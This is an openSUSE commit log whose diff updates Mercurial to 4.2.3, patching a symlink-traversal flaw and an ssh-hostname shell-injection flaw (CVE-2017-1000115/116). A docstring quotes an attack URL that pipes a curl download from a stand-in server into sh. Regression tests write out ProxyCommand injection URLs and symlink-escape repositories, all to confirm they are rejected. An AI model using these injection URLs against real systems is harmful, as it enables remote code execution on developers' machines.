Hello community,

here is the log from the commit of package mercurial for openSUSE:Factory 
checked in at 2017-08-17 11:44:47
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/mercurial (Old)
 and      /work/SRC/openSUSE:Factory/.mercurial.new (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Package is "mercurial"

Thu Aug 17 11:44:47 2017 rev:119 rq:515999 version:4.2.3

Changes:
--------
--- /work/SRC/openSUSE:Factory/mercurial/mercurial.changes      2017-07-12 
19:31:09.769365251 +0200
+++ /work/SRC/openSUSE:Factory/.mercurial.new/mercurial.changes 2017-08-17 
11:44:49.439774644 +0200
@@ -1,0 +2,12 @@
+Thu Aug 10 22:58:59 CEST 2017 - [email protected]
+
+- mercurial 4.2.3: security fix updates for 
+  CVE-2017-1000115 and CVE-2017-1000116:
+  * Mercurial's symlink auditing was incomplete prior to 4.3, and
+    could be abused to write to files outside the repository
+    (CVE-2017-1000115)
+  * Mercurial was not sanitizing hostnames passed to ssh, allowing
+    shell injection attacks by specifying a hostname starting with
+    -oProxyCommand (CVE-2017-1000116, bsc#1052696)
+
+-------------------------------------------------------------------

Old:
----
  mercurial-4.2.2.tar.gz
  mercurial-4.2.2.tar.gz.asc

New:
----
  mercurial-4.2.3.tar.gz
  mercurial-4.2.3.tar.gz.asc

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Other differences:
------------------
++++++ mercurial.spec ++++++
--- /var/tmp/diff_new_pack.BbjMIU/_old  2017-08-17 11:44:51.003553938 +0200
+++ /var/tmp/diff_new_pack.BbjMIU/_new  2017-08-17 11:44:51.027550551 +0200
@@ -20,7 +20,7 @@
 %{!?python_sitelib: %global python_sitelib %(python -c "from 
distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %endif
 Name:           mercurial
-Version:        4.2.2
+Version:        4.2.3
 Release:        0
 Summary:        Scalable Distributed SCM
 License:        GPL-2.0+

++++++ mercurial-4.2.2.tar.gz -> mercurial-4.2.3.tar.gz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/PKG-INFO new/mercurial-4.2.3/PKG-INFO
--- old/mercurial-4.2.2/PKG-INFO        2017-07-05 17:24:40.000000000 +0200
+++ new/mercurial-4.2.3/PKG-INFO        2017-08-10 20:15:05.000000000 +0200
@@ -1,6 +1,6 @@
 Metadata-Version: 1.1
 Name: mercurial
-Version: 4.2.2
+Version: 4.2.3
 Summary: Fast scalable distributed SCM (revision control, version control) 
system
 Home-page: https://mercurial-scm.org/
 Author: Matt Mackall and many others
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/hgext/fsmonitor/__init__.py 
new/mercurial-4.2.3/hgext/fsmonitor/__init__.py
--- old/mercurial-4.2.2/hgext/fsmonitor/__init__.py     2017-07-05 
17:24:17.000000000 +0200
+++ new/mercurial-4.2.3/hgext/fsmonitor/__init__.py     2017-08-10 
20:14:47.000000000 +0200
@@ -394,7 +394,7 @@
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
-    audit = pathutil.pathauditor(self._root).check
+    audit = pathutil.pathauditor(self._root, cached=True).check
     auditpass = [f for f in visit if audit(f)]
     auditpass.sort()
     auditfail = visit.difference(auditpass)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/__version__.py 
new/mercurial-4.2.3/mercurial/__version__.py
--- old/mercurial-4.2.2/mercurial/__version__.py        2017-07-05 
17:24:37.000000000 +0200
+++ new/mercurial-4.2.3/mercurial/__version__.py        2017-08-10 
20:15:01.000000000 +0200
@@ -1,2 +1,2 @@
 # this file is autogenerated by setup.py
-version = "4.2.2"
+version = "4.2.3"
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/cmdutil.py 
new/mercurial-4.2.3/mercurial/cmdutil.py
--- old/mercurial-4.2.2/mercurial/cmdutil.py    2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/cmdutil.py    2017-08-10 20:14:48.000000000 
+0200
@@ -3218,7 +3218,7 @@
             pass
         repo.dirstate.remove(f)
 
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
     for f in actions['forget'][0]:
         if interactive:
             choice = repo.ui.promptchoice(
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/dirstate.py 
new/mercurial-4.2.3/mercurial/dirstate.py
--- old/mercurial-4.2.2/mercurial/dirstate.py   2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/dirstate.py   2017-08-10 20:14:47.000000000 
+0200
@@ -1089,7 +1089,7 @@
                 # that wasn't ignored, and everything that matched was stat'ed
                 # and is already in results.
                 # The rest must thus be ignored or under a symlink.
-                audit_path = pathutil.pathauditor(self._root)
+                audit_path = pathutil.pathauditor(self._root, cached=True)
 
                 for nf in iter(visit):
                     # If a stat for the same file was already added with a
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/localrepo.py 
new/mercurial-4.2.3/mercurial/localrepo.py
--- old/mercurial-4.2.2/mercurial/localrepo.py  2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/localrepo.py  2017-08-10 20:14:48.000000000 
+0200
@@ -273,8 +273,8 @@
         self.origroot = path
         self.auditor = pathutil.pathauditor(self.root, self._checknested)
         self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
-                                                realfs=False)
-        self.vfs = vfsmod.vfs(self.path)
+                                                realfs=False, cached=True)
+        self.vfs = vfsmod.vfs(self.path, cacheaudited=True)
         self.baseui = baseui
         self.ui = baseui.copy()
         self.ui.copy = baseui.copy # prevent copying repo configuration
@@ -350,7 +350,8 @@
                 raise
 
         self.store = store.store(
-                self.requirements, self.sharedpath, vfsmod.vfs)
+            self.requirements, self.sharedpath,
+            lambda base: vfsmod.vfs(base, cacheaudited=True))
         self.spath = self.store.path
         self.svfs = self.store.vfs
         self.sjoin = self.store.join
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/pathutil.py 
new/mercurial-4.2.3/mercurial/pathutil.py
--- old/mercurial-4.2.2/mercurial/pathutil.py   2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/pathutil.py   2017-08-10 20:14:47.000000000 
+0200
@@ -33,13 +33,18 @@
     The file system checks are only done when 'realfs' is set to True (the
     default). They should be disable then we are auditing path for operation on
     stored history.
+
+    If 'cached' is set to True, audited paths and sub-directories are cached.
+    Be careful to not keep the cache of unmanaged directories for long because
+    audited paths may be replaced with symlinks.
     '''
 
-    def __init__(self, root, callback=None, realfs=True):
+    def __init__(self, root, callback=None, realfs=True, cached=False):
         self.audited = set()
         self.auditeddir = set()
         self.root = root
         self._realfs = realfs
+        self._cached = cached
         self.callback = callback
         if os.path.lexists(root) and not util.fscasesensitive(root):
             self.normcase = util.normcase
@@ -96,10 +101,11 @@
                 self._checkfs(prefix, path)
             prefixes.append(normprefix)
 
-        self.audited.add(normpath)
-        # only add prefixes to the cache after checking everything: we don't
-        # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
-        self.auditeddir.update(prefixes)
+        if self._cached:
+            self.audited.add(normpath)
+            # only add prefixes to the cache after checking everything: we 
don't
+            # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
+            self.auditeddir.update(prefixes)
 
     def _checkfs(self, prefix, path):
         """raise exception if a file system backed check fails"""
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/posix.py 
new/mercurial-4.2.3/mercurial/posix.py
--- old/mercurial-4.2.2/mercurial/posix.py      2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/posix.py      2017-08-10 20:14:48.000000000 
+0200
@@ -23,6 +23,7 @@
 from .i18n import _
 from . import (
     encoding,
+    error,
     pycompat,
 )
 
@@ -91,7 +92,13 @@
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh'''
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s -p %s" % (args, port)) or args
+    if '-' in args[:1]:
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with -: %s') % args)
+    args = shellquote(args)
+    if port:
+        args = '-p %s %s' % (shellquote(port), args)
+    return args
 
 def isexec(f):
     """check whether a file is executable"""
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/scmutil.py 
new/mercurial-4.2.3/mercurial/scmutil.py
--- old/mercurial-4.2.2/mercurial/scmutil.py    2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/scmutil.py    2017-08-10 20:14:48.000000000 
+0200
@@ -667,7 +667,7 @@
     This is different from dirstate.status because it doesn't care about
     whether files are modified or clean.'''
     added, unknown, deleted, removed, forgotten = [], [], [], [], []
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
 
     ctx = repo[None]
     dirstate = repo.dirstate
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/sshpeer.py 
new/mercurial-4.2.3/mercurial/sshpeer.py
--- old/mercurial-4.2.2/mercurial/sshpeer.py    2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/sshpeer.py    2017-08-10 20:14:47.000000000 
+0200
@@ -138,6 +138,8 @@
         if u.scheme != 'ssh' or not u.host or u.path is None:
             self._abort(error.RepoError(_("couldn't parse location %s") % 
path))
 
+        util.checksafessh(path)
+
         self.user = u.user
         if u.passwd is not None:
             self._abort(error.RepoError(_("password in URL not supported")))
@@ -148,10 +150,7 @@
         sshcmd = self.ui.config("ui", "ssh", "ssh")
         remotecmd = self.ui.config("ui", "remotecmd", "hg")
 
-        args = util.sshargs(sshcmd,
-                            _serverquote(self.host),
-                            _serverquote(self.user),
-                            _serverquote(self.port))
+        args = util.sshargs(sshcmd, self.host, self.user, self.port)
 
         if create:
             cmd = '%s %s %s' % (sshcmd, args,
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/subrepo.py 
new/mercurial-4.2.3/mercurial/subrepo.py
--- old/mercurial-4.2.2/mercurial/subrepo.py    2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/subrepo.py    2017-08-10 20:14:48.000000000 
+0200
@@ -1274,6 +1274,10 @@
         # The revision must be specified at the end of the URL to properly
         # update to a directory which has since been deleted and recreated.
         args.append('%s@%s' % (state[0], state[1]))
+
+        # SEC: check that the ssh url is safe
+        util.checksafessh(state[0])
+
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, '.svn')
         if not re.search('Checked out revision [0-9]+.', status):
@@ -1539,6 +1543,9 @@
 
     def _fetch(self, source, revision):
         if self._gitmissing():
+            # SEC: check for safe ssh url
+            util.checksafessh(source)
+
             source = self._abssource(source)
             self.ui.status(_('cloning subrepo %s from %s\n') %
                             (self._relpath, source))
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/util.py 
new/mercurial-4.2.3/mercurial/util.py
--- old/mercurial-4.2.2/mercurial/util.py       2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/util.py       2017-08-10 20:14:48.000000000 
+0200
@@ -2879,6 +2879,21 @@
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
+def checksafessh(path):
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urlreq.unquote(path)
+    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
+        raise error.Abort(_('potentially unsafe url: %r') %
+                          (path,))
+
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/vfs.py 
new/mercurial-4.2.3/mercurial/vfs.py
--- old/mercurial-4.2.2/mercurial/vfs.py        2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/vfs.py        2017-08-10 20:14:48.000000000 
+0200
@@ -276,13 +276,19 @@
 
     This class is used to hide the details of COW semantics and
     remote file access from higher level code.
+
+    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
+    (b) the base directory is managed by hg and considered sort-of append-only.
+    See pathutil.pathauditor() for details.
     '''
-    def __init__(self, base, audit=True, expandpath=False, realpath=False):
+    def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
+                 realpath=False):
         if expandpath:
             base = util.expandpath(base)
         if realpath:
             base = os.path.realpath(base)
         self.base = base
+        self._cacheaudited = cacheaudited
         self.mustaudit = audit
         self.createmode = None
         self._trustnlink = None
@@ -295,7 +301,8 @@
     def mustaudit(self, onoff):
         self._audit = onoff
         if onoff:
-            self.audit = pathutil.pathauditor(self.base)
+            self.audit = pathutil.pathauditor(
+                self.base, cached=self._cacheaudited)
         else:
             self.audit = util.always
 
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/mercurial/windows.py 
new/mercurial-4.2.3/mercurial/windows.py
--- old/mercurial-4.2.2/mercurial/windows.py    2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/mercurial/windows.py    2017-08-10 20:14:48.000000000 
+0200
@@ -17,6 +17,7 @@
 from .i18n import _
 from . import (
     encoding,
+    error,
     osutil,
     pycompat,
     win32,
@@ -199,7 +200,14 @@
     '''Build argument list for ssh or Plink'''
     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s %s %s" % (args, pflag, port)) or args
+    if args.startswith('-') or args.startswith('/'):
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with - or /: %s') %
+            args)
+    args = shellquote(args)
+    if port:
+        args = '%s %s %s' % (pflag, shellquote(port), args)
+    return args
 
 def setflags(f, l, x):
     pass
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-audit-path.t 
new/mercurial-4.2.3/tests/test-audit-path.t
--- old/mercurial-4.2.2/tests/test-audit-path.t 2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/tests/test-audit-path.t 2017-08-10 20:14:48.000000000 
+0200
@@ -129,3 +129,103 @@
   [255]
 
   $ cd ..
+
+Test symlink traversal on merge:
+--------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge
+
+  $ hg up -qC 1
+  $ hg merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+
+try rebase onto other revision: cache of audited paths should be discarded,
+and the rebase should fail (issue5628)
+
+  $ hg up -qC 2
+  $ hg rebase -s 2 -d 1 --config extensions.rebase=
+  rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+  $ ls ../merge-symlink-out
+
+  $ cd ..
+
+Test symlink traversal on update:
+---------------------------------
+
+  $ mkdir update-symlink-out
+  $ hg init update-symlink
+  $ cd update-symlink
+  $ ln -s ../update-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../update-symlink-out'
+  $ hg rm a
+  $ mkdir a && touch a/b
+  $ hg ci -qAm 'file a/b' a/b
+  $ hg up -qC 0
+  $ hg rm a
+  $ mkdir a && touch a/c
+  $ hg ci -qAm 'rm a, file a/c'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: rm a, file a/c
+  |
+  | o  1: file a/b
+  |/
+  o  0: symlink a -> ../update-symlink-out
+  
+
+try linear update where symlink already exists:
+
+  $ hg up -qC 0
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+
+try linear update including symlinked directory and its content: paths are
+audited first by calculateupdates(), where no symlink is created so both
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
+
+  $ hg up -qC null
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+try branch update replacing directory with symlink, and its content: the
+path 'a' is audited as a directory first, which should be audited again as
+a symlink.
+
+  $ rm -f a
+  $ hg up -qC 2
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+  $ cd ..
+
+#endif
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-clone.t 
new/mercurial-4.2.3/tests/test-clone.t
--- old/mercurial-4.2.2/tests/test-clone.t      2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/tests/test-clone.t      2017-08-10 20:14:48.000000000 
+0200
@@ -1092,3 +1092,66 @@
   adding remote bookmark bookA
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://fakehost|touch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ hg clone 'ssh://-oProxyCommand=touch 
owned%[email protected]/nonexistent/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned 
[email protected]/nonexistent/path'
+  [255]
+
+#if windows
+  $ hg clone "ssh://%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve 
--stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R 
. serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#else
+  $ hg clone "ssh://%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve 
--stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R 
. serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#endif
+
+  $ hg clone "ssh://v-alid.example.com/" --debug
+  running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. 
serve --stdio['"] (re)
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+
+We should not have created a file named owned - if it exists, the
+attack succeeded.
+  $ if test -f owned; then echo 'you got owned'; fi
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-commandserver.t 
new/mercurial-4.2.3/tests/test-commandserver.t
--- old/mercurial-4.2.2/tests/test-commandserver.t      2017-07-05 
17:24:17.000000000 +0200
+++ new/mercurial-4.2.3/tests/test-commandserver.t      2017-08-10 
20:14:48.000000000 +0200
@@ -911,3 +911,80 @@
   *** runcommand log
   0 bar (bar)
   *** runcommand verify -q
+
+  $ cd ..
+
+Test symlink traversal over cached audited paths:
+-------------------------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge after update: cache of audited paths should be discarded,
+and the merge should fail (issue5628)
+
+  $ hg up -q null
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def merge(server):
+  ...     readchannel(server)
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here a is a symlink, so a/poisoned is bad
+  ...     runcommand(server, ['merge', '2'])
+  *** runcommand up -qC 2
+  *** runcommand up -qC 1
+  *** runcommand merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+  $ ls ../merge-symlink-out
+
+cache of repo.auditor should be discarded, so matcher would never traverse
+symlinks:
+
+  $ hg up -qC 0
+  $ touch ../merge-symlink-out/poisoned
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def files(server):
+  ...     readchannel(server)
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  ...     runcommand(server, ['up', '-qC', '0'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here 'a' is a symlink, so a/poisoned should be warned
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  *** runcommand up -qC 2
+  *** runcommand files a/poisoned
+  a/poisoned
+  *** runcommand up -qC 0
+  *** runcommand up -qC 1
+  *** runcommand files a/poisoned
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+
+  $ cd ..
+
+#endif
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-pull.t 
new/mercurial-4.2.3/tests/test-pull.t
--- old/mercurial-4.2.2/tests/test-pull.t       2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/tests/test-pull.t       2017-08-10 20:14:48.000000000 
+0200
@@ -105,4 +105,30 @@
   $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + 
os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
   $ hg pull -q "$URL"
 
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
+  pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
+  pulling from ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
+
   $ cd ..
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-push.t 
new/mercurial-4.2.3/tests/test-push.t
--- old/mercurial-4.2.2/tests/test-push.t       2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/tests/test-push.t       2017-08-10 20:14:48.000000000 
+0200
@@ -297,3 +297,28 @@
   lock:  user *, process * (*s) (glob)
   wlock: user *, process * (*s) (glob)
 
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
+  pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
+  pushing to ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-ssh-bundle1.t 
new/mercurial-4.2.3/tests/test-ssh-bundle1.t
--- old/mercurial-4.2.2/tests/test-ssh-bundle1.t        2017-07-05 
17:24:17.000000000 +0200
+++ new/mercurial-4.2.3/tests/test-ssh-bundle1.t        2017-08-10 
20:14:48.000000000 +0200
@@ -461,7 +461,7 @@
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running python ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") 
(re)
+  running python ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve 
--stdio('|") (re)
   sending hello command
   sending between command
   remote: 355
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-ssh.t 
new/mercurial-4.2.3/tests/test-ssh.t
--- old/mercurial-4.2.2/tests/test-ssh.t        2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/tests/test-ssh.t        2017-08-10 20:14:48.000000000 
+0200
@@ -477,7 +477,7 @@
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running python ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") 
(re)
+  running python ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve 
--stdio('|") (re)
   sending hello command
   sending between command
   remote: 355
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-subrepo-git.t 
new/mercurial-4.2.3/tests/test-subrepo-git.t
--- old/mercurial-4.2.2/tests/test-subrepo-git.t        2017-07-05 
17:24:17.000000000 +0200
+++ new/mercurial-4.2.3/tests/test-subrepo-git.t        2017-08-10 
20:14:48.000000000 +0200
@@ -1173,3 +1173,35 @@
   [255]
   $ f -Dq pwned.txt
   pwned: you asked for it
+
+test for ssh exploit with git subrepos 2017-07-25
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ git init s
+  Initialized empty Git repository in 
$TESTTMP/tc/malicious-proxycommand/s/.git/
+  $ cd s
+  $ git commit --allow-empty -m 'empty'
+  [master (root-commit) 153f934] empty
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 
'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 
'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
+  [255]
+
